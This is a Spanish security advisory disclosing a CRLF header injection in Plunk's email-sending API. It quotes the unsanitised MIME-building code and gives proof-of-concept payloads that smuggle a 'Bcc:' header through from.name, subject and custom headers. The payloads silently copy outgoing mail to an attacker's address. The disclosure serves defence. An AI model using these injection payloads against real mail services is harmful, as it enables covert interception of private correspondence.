
CRLF Email Header Injection en Plunk mediante construcción MIME cruda — CVSS 8.5
Gravedad: Alta (CVSS 8.5)
CWE: CWE-93 — Neutralización incorrecta de secuencias CRLF ('Inyección CRLF')
Afectado: useplunk/plunk (todas las versiones anteriores a la corrección)
Aviso: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
El endpoint POST /v1/send de Plunk construye un mensaje de correo MIME crudo interpolando campos proporcionados por el usuario (from.name, subject, encabezados personalizados, nombres de archivos adjuntos) directamente en una cadena de plantilla sin saneamiento de CRLF (\r\n). Un usuario autenticado de la API puede inyectar encabezados de correo arbitrarios — incluido Bcc — para redirigir silenciosamente copias de correos a direcciones controladas por el atacante.
Estaba auditando plataformas de envío de correo de código abierto — cualquier cosa que envuelva AWS SES y exponga una API. Plunk se posiciona como una alternativa amigable para desarrolladores a SendGrid/Postmark, construida sobre SES.
Mi punto de entrada fue la función de construcción de correo crudo. Siempre que veo rawMessage += o literales de plantilla que construyen MIME, verifico si cada campo proporcionado por el usuario está saneado contra CRLF. En SESService.ts, la respuesta fue claramente no: from.name, subject, encabezados personalizados y nombres de archivos adjuntos se interpolaban directamente.
Lo que confirmó que esto era explotable: el esquema Zod (packages/shared/src/schemas/index.ts) no tenía .regex() ni .refine() que rechazara \r\n en ninguno de esos campos. Sin saneamiento en la capa del esquema, sin saneamiento en la capa de construcción MIME — camino limpio desde la entrada de la API hasta el encabezado MIME inyectado.
Probé los cuatro vectores (from.name, subject, valor de encabezado personalizado, nombre de archivo adjunto) y confirmé que la inyección de Bcc: funciona. Cualquier usuario autenticado de la API con un dominio de remitente verificado puede copiar silenciosamente cada correo saliente a una dirección controlada por el atacante. El escenario de ataque realista es una clave API comprometida que se convierte en una interceptación persistente de correos.
Archivo: apps/api/src/services/SESService.ts, líneas 137–151
// Construcción MIME cruda vulnerable
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Encabezados personalizados interpolados directamente
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value no saneado
}
// Nombre de archivo adjunto
`Content-Disposition: inline; filename="${attachment.filename}"` // no saneado
Esquema Zod (packages/shared/src/schemas/index.ts) — sin validación CRLF:
headers: z.record(z.string().max(998)).optional() // sin verificación \r\n
from: { name: z.string().optional() } // sin verificación \r\n
subject: z.string().min(1).max(998) // sin verificación \r\n
filename: z.string().min(1).max(255) // sin verificación \r\n
La construcción MIME cruda requiere que cada valor proporcionado por el usuario se despoje de \r\n antes de la interpolación. Plunk construye el mensaje con literales de plantilla y no sanea ninguno de los cuatro campos inyectables. Los analizadores SMTP interpretan \r\n como un límite de encabezado, por lo que inyectar \r\nBcc: [email protected] en from.name agrega un encabezado Bcc real al mensaje saliente.
Consulte poc.py para una demostración completa con cuatro vectores de inyección.
Carga útil principal — inyección de Bcc mediante from.name:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
MIME crudo producido por SES:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
SES entrega una copia silenciosa a [email protected] con cada correo enviado a través de la clave API comprometida.
Otros vectores de inyección:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender